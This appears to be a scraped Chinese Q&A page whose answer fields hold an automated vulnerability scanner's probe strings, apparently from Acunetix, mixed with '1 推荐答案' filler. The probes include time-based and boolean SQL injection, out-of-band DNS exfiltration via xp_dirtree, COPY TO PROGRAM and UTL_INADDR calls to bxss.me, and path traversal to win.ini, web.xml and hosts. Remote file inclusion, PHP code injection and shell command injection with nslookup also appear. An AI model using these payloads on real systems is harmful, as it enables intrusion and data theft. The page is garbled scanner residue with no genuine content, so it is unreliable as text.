回答：288'

回答：1';copy (select '') to program 'nslookup dns.sqli.\018817.3083-242.3083.e808e.\1.bxss.me

回答：1;copy (select '') to program 'nslookup dns.sqli.\018817.3083-241.3083.e808e.\1.bxss.me'

回答：1');EXEC master..xp_dirtree '\\dns.sqli.018817.3083-240.3083.e808e.1.bxss.me\' --

回答：1';EXEC master..xp_dirtree '\\dns.sqli.018817.3083-239.3083.e808e.1.bxss.me\' --

回答：1;EXEC master..xp_dirtree '\\dns.sqli.018817.3083-238.3083.e808e.1.bxss.me\' --

回答：'||UTL_INADDR.get_host_address('dns.'||'sqli.018817.3083-237.3083.e808e.1.bxss'||'.me')||'

回答：1||UTL_INADDR.get_host_address('dns.'||'sqli.018817.3083-236.3083.e808e.1.bxss'||'.me')

回答：qzmiQjOJ'));select pg_sleep(15); --

回答：vwgxALDV');select pg_sleep(15); --

回答：juV8K0Mg';select pg_sleep(10); --

回答：-1));select pg_sleep(10); --

回答：-1);select pg_sleep(10); --

回答：-1;select pg_sleep(10); --

回答：NTeiOusz')); waitfor delay '0:0:10' --

回答：DPX7rfgm'); waitfor delay '0:0:5' --

回答：8rLeBbi2'; waitfor delay '0:0:5' --

回答：1 waitfor delay '0:0:5' --

回答：-1)); waitfor delay '0:0:15' --

回答：-1); waitfor delay '0:0:15' --

回答：-1; waitfor delay '0:0:15' --

回答：(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

回答：if(now()=sysdate(),sleep(15),0)/*'XOR(if(now()=sysdate(),sleep(15),0))OR'"XOR(if(now()=sysdate(),sleep(15),0))OR"*/

回答：-1" OR 2+285-285-1=0+0+0+1 --

回答：-1' OR 2+803-803-1=0+0+0+1 or 'ZQLMCOre'='

回答：-1' OR 2+720-720-1=0+0+0+1 --

回答：-1 OR 2+884-884-1=0+0+0+1

回答：-1 OR 2+709-709-1=0+0+0+1 --

回答：zRtjsKIT

回答：1

回答：1

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1

回答：1

回答：WEB-INF\web.xml

回答：WEB-INF/web.xml

回答：unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

回答：../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

回答：../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

回答：/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

回答：..\..\..\..\..\..\..\..\windows\win.ini

回答：................windowswin.ini

回答：������������������������������������������������windows��win.ini

回答：../../../../../../../../../../windows/win.ini.jpg

回答：C:\WINDOWS\system32\drivers\etc\hosts

回答：../../../../../../../../../../windows/win.ini

回答：testasp.vulnweb.com

回答：http://testasp.vulnweb.com/t/fit.txt?.jpg

回答：Http://testasp.vulnweb.com/t/fit.txt

回答：1some_inexistent_file_with_long_name.jpg

回答：http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

回答：19456221

回答：${@print(md5(acunetix_wvs_security_test))}\

回答：${@print(md5(acunetix_wvs_security_test))}

回答：";print(md5(acunetix_wvs_security_test));$a="

回答：'"()&%

回答：';print(md5(acunetix_wvs_security_test));$a='

回答：;print(md5(acunetix_wvs_security_test));

回答：�''�""

回答：�'�"

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1'"()&%

回答：1 推荐答案

回答：1 推荐答案

回答：JyI=

回答：1 推荐答案

回答：@@5Jnba

回答：1 推荐答案

回答：1����%2527%2522

回答：1 推荐答案

回答：\

回答：1 推荐答案

回答：1 推荐答案

回答：1'"

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：suppleask/.

回答：suppleask

回答：1 推荐答案

回答：suppleask

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：http://hityUzhIgbDl7.bxss.me/

回答：^(#$!@#$)(()))******

回答：!(()&&!|*|*|

回答：1'>">

回答：)

回答：1

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：&nslookup dns.ce.\018817.3083-27.3083.e808e.\1.bxss.me&'\"`0&nslookup dns.ce.\018817.3083-27.3083.e808e.\1.bxss.me&`'

回答：$(nslookup dns.ce.\018817.3083-26.3083.e808e.\1.bxss.me)

回答：set|set&set

回答：1 推荐答案

回答：http://testasp.vulnweb.com/t/xss.html?%00.jpg

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：${9999572+10000276}

回答：1 推荐答案

回答：1

回答：1

回答： 推荐答案

回答：1

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案

回答：1 推荐答案